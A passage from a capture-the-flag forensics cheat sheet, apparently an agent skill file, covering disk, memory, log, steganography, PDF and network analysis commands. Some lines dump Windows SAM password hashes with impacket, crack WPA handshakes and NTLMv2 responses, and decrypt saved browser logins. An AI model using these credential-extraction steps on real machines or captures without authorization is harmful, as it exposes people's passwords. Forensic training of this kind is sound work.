nearest-neighbor interpolation stego, RGB parity steganography)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"stego-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced.md","title":null}}]},{"text":" - Advanced steganography part 1: audio and signal techniques (FFT frequency domain, DTMF audio, SSTV+LSB, DotCode barcode, custom frequency dual-tone keypad, multi-track audio differential subtraction, cross-channel multi-bit LSB, audio FFT musical notes, audio metadata octal encoding, nested tar whitespace encoding, DeepSound audio stego with password cracking, audio waveform binary encoding, audio spectrogram hidden QR)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"stego-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced-2.md","title":null}}]},{"text":" - Advanced steganography part 2: video, image transform, and format-specific techniques (video frame accumulation, reversed audio, video frame averaging, JPEG XL TOC permutation steganography, Arnold's Cat Map descrambling, high-resolution SSTV custom FM demodulation, MJPEG FFD9 trailing byte stego, EXIF zlib + Stegano pixel patterns, PDF xref covert channel, ANSI escape code stego, pixel-wise ECB deduplication)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":" - Linux/app forensics (log analysis, Docker image forensics, attack chains, browser credentials, Firefox history, TFTP, TLS weak RSA, USB audio, Git directory recovery, KeePass v4 cracking, Git reflog/fsck squash recovery, browser artifact analysis (Chrome/Chromium/Firefox history, cookies, downloads, local storage, session restore), corrupted git blob repair via byte brute-force, VBA macro Excel cell data to ELF binary extraction, Python in-memory source recovery via pyrasite)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"signals-and-hardware.md","type":"text","marks":[{"type":"link","attrs":{"href":"signals-and-hardware.md","title":null}}]},{"text":" - Hardware signal decoding with decode code (VGA frame parsing, HDMI TMDS symbol decode, DisplayPort 8b/10b + LFSR descrambler), Voyager Golden Record audio, Saleae Logic 2 UART decode, Flipper Zero .sub files, side-channel power analysis (DPA), keyboard acoustic side-channel, CD audio disc image steganography (CIRC de-interleaving + spiral rendering), caps-lock LED Morse code from video, Linux input_event keylogger dump parsing, serial UART from WAV audio, USB MIDI Launchpad grid reconstruction","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"When to Pivot","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If you recover an encrypted blob and the hard part becomes RSA, AES, or lattice work, switch to ","type":"text"},{"text":"/ctf-crypto","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the evidence really points to malware staging, beacon config extraction, or packed samples, switch to ","type":"text"},{"text":"/ctf-malware","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the artifact is a web app backup or API dump and the remaining problem is application logic, switch to ","type":"text"},{"text":"/ctf-web","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the forensic evidence is really an encoding puzzle, steganography trick, or esoteric format rather than true forensics, switch to ","type":"text"},{"text":"/ctf-misc","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If you need to trace infrastructure, attribute actors, or investigate public records from forensic findings, switch to ","type":"text"},{"text":"/ctf-osint","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the recovered artifact is a compiled binary or firmware that needs disassembly and analysis, switch to ","type":"text"},{"text":"/ctf-reverse","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Quick Start Commands","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# File analysis\nfile suspicious_file\nexiftool suspicious_file # Metadata\nbinwalk suspicious_file # Embedded files\nstrings -n 8 suspicious_file\nhexdump -C suspicious_file | head # Check magic bytes\n\n# Disk forensics\nsudo mount -o loop,ro image.dd /mnt/evidence\nfls -r image.dd # List files\nphotorec image.dd # Carve deleted files\n\n# Memory forensics (Volatility 3)\nvol3 -f memory.dmp windows.info\nvol3 -f memory.dmp windows.pslist\nvol3 -f memory.dmp windows.filescan","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md","title":null}}]},{"text":" for full Volatility plugin reference, VM forensics, and coredump analysis.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Log Analysis","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"grep -iE \"(flag|part|piece|fragment)\" server.log # Flag fragments\ngrep \"FLAGPART\" server.log | sed 's/.*FLAGPART: //' | uniq | tr -d '\\n' # Reconstruct\nsort logfile.log | uniq -c | sort -rn | head # Find anomalies","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":" for Linux attack chain analysis and Docker image forensics.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Windows Event Logs (.evtx)","type":"text"}]},{"type":"paragraph","content":[{"text":"Key Event IDs:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"1001 - Bugcheck/reboot","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"1102 - Audit log cleared","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"4720 - User account created","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"4781 - Account renamed","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"RDP Session IDs (TerminalServices-LocalSessionManager):","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"21 - Session logon succeeded","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"24 - Session disconnected","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"1149 - RDP auth succeeded (RemoteConnectionManager, has source IP)","type":"text"}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"import Evtx.Evtx as evtx\nwith evtx.Evtx(\"Security.evtx\") as log:\n for record in log.records():\n print(record.xml())","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"windows.md","type":"text","marks":[{"type":"link","attrs":{"href":"windows.md","title":null}}]},{"text":" for full event ID tables, registry analysis, SAM parsing, USN journal, and anti-forensics detection.","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"NTFS Alternate Data Streams (ADS):","type":"text","marks":[{"type":"strong"}]},{"text":" Hidden data attached to files via named NTFS streams. Invisible to ","type":"text"},{"text":"dir","type":"text","marks":[{"type":"code_inline"}]},{"text":"/Explorer. Detect with ","type":"text"},{"text":"fls -r image.dd | grep \":\"","type":"text","marks":[{"type":"code_inline"}]},{"text":", extract with ","type":"text"},{"text":"icat","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"windows.md","type":"text","marks":[{"type":"link","attrs":{"href":"windows.md#ntfs-alternate-data-streams","title":null}}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"When Logs Are Cleared","type":"text"}]},{"type":"paragraph","content":[{"text":"If attacker cleared event logs, use these alternative sources:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"USN Journal ($J)","type":"text","marks":[{"type":"strong"}]},{"text":" - File operations timeline (MFT ref, timestamps, reasons)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SAM registry","type":"text","marks":[{"type":"strong"}]},{"text":" - Account creation from key last_modified timestamps","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PowerShell history","type":"text","marks":[{"type":"strong"}]},{"text":" - ConsoleHost_history.txt (USN DATA_EXTEND = command timing)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Defender MPLog","type":"text","marks":[{"type":"strong"}]},{"text":" - Separate log with threat detections and ASR events","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Prefetch","type":"text","marks":[{"type":"strong"}]},{"text":" - Program execution evidence","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"User profile creation","type":"text","marks":[{"type":"strong"}]},{"text":" - First login time (profile dir in USN journal)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"windows.md","type":"text","marks":[{"type":"link","attrs":{"href":"windows.md","title":null}}]},{"text":" for detailed parsing code and anti-forensics detection checklist.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Steganography","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"steghide extract -sf image.jpg\nzsteg image.png # PNG/BMP analysis\nstegsolve # Visual analysis","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Binary border stego:","type":"text","marks":[{"type":"strong"}]},{"text":" Black/white pixels in 1px image border encode bits clockwise","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"FFT frequency domain:","type":"text","marks":[{"type":"strong"}]},{"text":" Image data hidden in 2D FFT magnitude spectrum; try ","type":"text"},{"text":"np.fft.fft2","type":"text","marks":[{"type":"code_inline"}]},{"text":" visualization","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"DTMF audio:","type":"text","marks":[{"type":"strong"}]},{"text":" Phone tones encoding data; decode with ","type":"text"},{"text":"multimon-ng -a DTMF","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Multi-layer PDF:","type":"text","marks":[{"type":"strong"}]},{"text":" Check hidden comments, post-EOF data, XOR with keywords, ROT18 final layer","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SSTV + LSB:","type":"text","marks":[{"type":"strong"}]},{"text":" SSTV signal may be red herring; check 2-bit LSB of audio samples with ","type":"text"},{"text":"stegolsb","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SVG keyframes:","type":"text","marks":[{"type":"strong"}]},{"text":" Animation ","type":"text"},{"text":"keyTimes","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"values","type":"text","marks":[{"type":"code_inline"}]},{"text":" attributes encode binary/Morse via fill color alternation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PNG chunk reorder:","type":"text","marks":[{"type":"strong"}]},{"text":" Fix chunk order: IHDR → ancillary → IDAT (in order) → IEND","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"File overlays:","type":"text","marks":[{"type":"strong"}]},{"text":" Check after IEND for appended archives with overwritten magic bytes","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"APNG frame extraction:","type":"text","marks":[{"type":"strong"}]},{"text":" Animated PNG has multiple frames; extract with ","type":"text"},{"text":"apngdis","type":"text","marks":[{"type":"code_inline"}]},{"text":" or parse ","type":"text"},{"text":"fdAT","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"fcTL","type":"text","marks":[{"type":"code_inline"}]},{"text":" chunks. See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md#apng-animated-png-frame-extraction-icectf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PNG height/CRC manipulation:","type":"text","marks":[{"type":"strong"}]},{"text":" Modify IHDR height field, brute-force until CRC matches to reveal hidden rows. See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md#png-heightcrc-manipulation-for-hidden-content-h4ckit-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Pixel coordinate chain stego:","type":"text","marks":[{"type":"strong"}]},{"text":" Linked-list traversal where R=data byte, G/B=next pixel coordinates. See ","type":"text"},{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md#pixel-coordinate-chain-steganography-h4ckit-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"AVI frame differential:","type":"text","marks":[{"type":"strong"}]},{"text":" XOR consecutive video frames to reveal hidden data in pixel differences. See ","type":"text"},{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md#avi-frame-differential-pixel-steganography-h4ckit-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Custom freq DTMF:","type":"text","marks":[{"type":"strong"}]},{"text":" Non-standard dual-tone frequencies; generate spectrogram first (","type":"text"},{"text":"ffmpeg -i audio -lavfi showspectrumpic","type":"text","marks":[{"type":"code_inline"}]},{"text":"), map custom grid to keypad digits, decode variable-length ASCII","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"JPEG DQT LSB:","type":"text","marks":[{"type":"strong"}]},{"text":" Unused quantization tables (ID 2, 3) carry LSB-encoded data; access via ","type":"text"},{"text":"Image.open().quantization","type":"text","marks":[{"type":"code_inline"}]},{"text":" and extract bit 0 from each of 64 values","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Multi-track audio subtraction:","type":"text","marks":[{"type":"strong"}]},{"text":" Two nearly-identical audio tracks in MKV/video; ","type":"text"},{"text":"sox -m a0.wav \"|sox a1.wav -p vol -1\" diff.wav","type":"text","marks":[{"type":"code_inline"}]},{"text":" cancels shared content, flag appears in spectrogram of difference signal (5-12 kHz band)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Packet interval timing:","type":"text","marks":[{"type":"strong"}]},{"text":" Identical packets with two distinct interval values (e.g., 10ms/100ms) encode binary; filter by interface, compute inter-packet deltas, threshold to bits","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md","title":null}}]},{"text":", ","type":"text"},{"text":"stego-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced.md","title":null}}]},{"text":", and ","type":"text"},{"text":"stego-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-advanced-2.md","title":null}}]},{"text":" for full code examples and decoding workflows.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"PDF Analysis","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"exiftool document.pdf # Metadata (often hides flags!)\npdftotext document.pdf - # Extract text\nstrings document.pdf | grep -i flag\nbinwalk document.pdf # Embedded files","type":"text"}]},{"type":"paragraph","content":[{"text":"Advanced PDF stego (Nullcon 2026 rdctd):","type":"text","marks":[{"type":"strong"}]},{"text":" Six techniques -- invisible text separators, URI annotations with escaped braces, Wiener deconvolution on blurred images, vector rectangle QR codes, compressed object streams (","type":"text"},{"text":"mutool clean -d","type":"text","marks":[{"type":"code_inline"}]},{"text":"), document metadata fields.","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md","title":null}}]},{"text":" for full PDF steganography techniques and code.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Disk / VM / Memory Forensics","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Disk images\nsudo mount -o loop,ro image.dd /mnt/evidence\nfls -r image.dd && photorec image.dd\n\n# VM images (OVA/VMDK)\ntar -xvf machine.ova\n7z x disk.vmdk -oextracted \"Windows/System32/config/SAM\" -r\n\n# Memory (Volatility 3)\nvol3 -f memory.dmp windows.pslist\nvol3 -f memory.dmp windows.cmdline\nvol3 -f memory.dmp windows.netscan\nvol3 -f memory.dmp windows.dumpfiles --physaddr \u003caddr>\n\n# String carving\nstrings -a -n 6 memdump.bin | grep -E \"FLAG|SSH_CLIENT|SESSION_KEY\"\n\n# Coredump\ngdb -c core.dump # info registers, x/100x $rsp, find \"flag\"","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md","title":null}}]},{"text":" for full Volatility plugin reference, VM forensics, and VMware snapshots. See ","type":"text"},{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md","title":null}}]},{"text":" for deleted partition recovery, ZFS forensics, and ransomware analysis.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Windows Password Hashes","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Extract with impacket, crack with hashcat -m 1000\npython -c \"from impacket.examples.secretsdump import *; SAMHashes('SAM', LocalOperations('SYSTEM').getBootKey()).dump()\"","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"windows.md","type":"text","marks":[{"type":"link","attrs":{"href":"windows.md","title":null}}]},{"text":" for SAM details and ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md","title":null}}]},{"text":" for NTLMv2 cracking from PCAP.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Bitcoin Tracing","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use mempool.space API: ","type":"text"},{"text":"https://mempool.space/api/tx/\u003cTXID>","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Peel chain:","type":"text","marks":[{"type":"strong"}]},{"text":" ALWAYS follow LARGER output; round amounts indicate peels","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Uncommon File Magic Bytes","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Magic","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Format","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Extension","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Notes","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"OggS","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ogg container","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":".ogg","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Audio/video","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"RIFF","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"RIFF container","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":".wav","type":"text","marks":[{"type":"code_inline"}]},{"text":",","type":"text"},{"text":".avi","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Check subformat","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"%PDF","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PDF","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":".pdf","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Check metadata & embedded objects","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"GCDE","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PrusaSlicer binary G-code","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":".g","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":".bgcode","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"See 3d-printing.md","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Common Flag Locations","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PDF metadata fields (Author, Title, Keywords)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Image EXIF data","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Deleted files (Recycle Bin ","type":"text"},{"text":"$R","type":"text","marks":[{"type":"code_inline"}]},{"text":" files)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Registry values","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Browser history","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Log file fragments","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Memory strings","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"WMI Persistence Analysis","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (Backchimney):","type":"text","marks":[{"type":"strong"}]},{"text":" Malware uses WMI event subscriptions for persistence (MITRE T1546.003).","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python PyWMIPersistenceFinder.py OBJECTS.DATA","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Look for FilterToConsumerBindings with CommandLineEventConsumer","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Base64-encoded PowerShell in consumer commands","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Event filters triggered on system events (logon, timer)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"windows.md","type":"text","marks":[{"type":"link","attrs":{"href":"windows.md","title":null}}]},{"text":" for WMI repository analysis details.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Network Forensics Quick Reference","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"TFTP netascii:","type":"text","marks":[{"type":"strong"}]},{"text":" Binary transfers corrupted; fix with ","type":"text"},{"text":"data.replace(b'\\r\\n', b'\\n').replace(b'\\r\\x00', b'\\r')","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"TLS keylog decryption:","type":"text","marks":[{"type":"strong"}]},{"text":" Import SSLKEYLOGFILE or RSA private key into Wireshark (Edit → Preferences → Protocols → TLS)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"TLS weak RSA:","type":"text","marks":[{"type":"strong"}]},{"text":" Extract cert, factor modulus, generate private key with ","type":"text"},{"text":"rsatool","type":"text","marks":[{"type":"code_inline"}]},{"text":", add to Wireshark","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"USB audio:","type":"text","marks":[{"type":"strong"}]},{"text":" Extract isochronous data with ","type":"text"},{"text":"tshark -e usb.iso.data","type":"text","marks":[{"type":"code_inline"}]},{"text":", import as raw PCM in Audacity","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"NTLMv2 from PCAP:","type":"text","marks":[{"type":"strong"}]},{"text":" Extract server challenge + NTProofStr + blob from NTLMSSP_AUTH, brute-force","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"WPA/WEP WiFi decryption:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"aircrack-ng -w wordlist capture.pcap","type":"text","marks":[{"type":"code_inline"}]},{"text":" cracks WPA handshake; WEP cracked with enough IVs. See ","type":"text"},{"text":"network.md","type":"text","marks":[{"type":"link","attrs":{"href":"network.md#wpawep-wifi-decryption-from-pcap-defcamp-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PCAP repair:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"pcapfix -d corrupted.pcap","type":"text","marks":[{"type":"code_inline"}]},{"text":" repairs broken PCAP headers/checksums for Wireshark loading. See ","type":"text"},{"text":"network.md","type":"text","marks":[{"type":"link","attrs":{"href":"network.md#corrupted-pcap-repair-with-pcapfix-csaw-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"USB HID keyboard decoding:","type":"text","marks":[{"type":"strong"}]},{"text":" Extract 8-byte HID reports from USB captures; byte 2 = keycode, byte 0 = modifiers (Shift). See ","type":"text"},{"text":"peripheral-capture.md","type":"text","marks":[{"type":"link","attrs":{"href":"peripheral-capture.md#usb-hid-keyboard-capture-decoding-ekoparty-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"dnscat2 reassembly:","type":"text","marks":[{"type":"strong"}]},{"text":" Decode hex/base32 subdomain labels, strip 9-byte dnscat2 header, deduplicate retransmissions, reassemble payload. See ","type":"text"},{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md#dnscat2-traffic-reassembly-from-dns-pcap-bsidessf-2017","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"USB keyboard LED exfiltration:","type":"text","marks":[{"type":"strong"}]},{"text":" Host-to-device HID SET_REPORT packets toggle Caps Lock LED. Timing encodes Morse code. See ","type":"text"},{"text":"peripheral-capture.md","type":"text","marks":[{"type":"link","attrs":{"href":"peripheral-capture.md#usb-keyboard-led-morse-code-exfiltration-bitsctf-2017","title":null}}]},{"text":".","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"network.md","type":"text","marks":[{"type":"link","attrs":{"href":"network.md","title":null}}]},{"text":" for SMB3 decryption, credential extraction, and ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":" for full TLS/TFTP/USB workflows.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Browser Forensics","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Chrome/Edge:","type":"text","marks":[{"type":"strong"}]},{"text":" Decrypt ","type":"text"},{"text":"Login Data","type":"text","marks":[{"type":"code_inline"}]},{"text":" SQLite with AES-GCM using DPAPI master key","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Firefox:","type":"text","marks":[{"type":"strong"}]},{"text":" Query ","type":"text"},{"text":"places.sqlite","type":"text","marks":[{"type":"code_inline"}]},{"text":" -- ","type":"text"},{"text":"SELECT url FROM moz_places WHERE url LIKE '%flag%'","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"linux-forensics.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-forensics.md","title":null}}]},{"text":" for full browser credential decryption code.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Additional Technique Quick 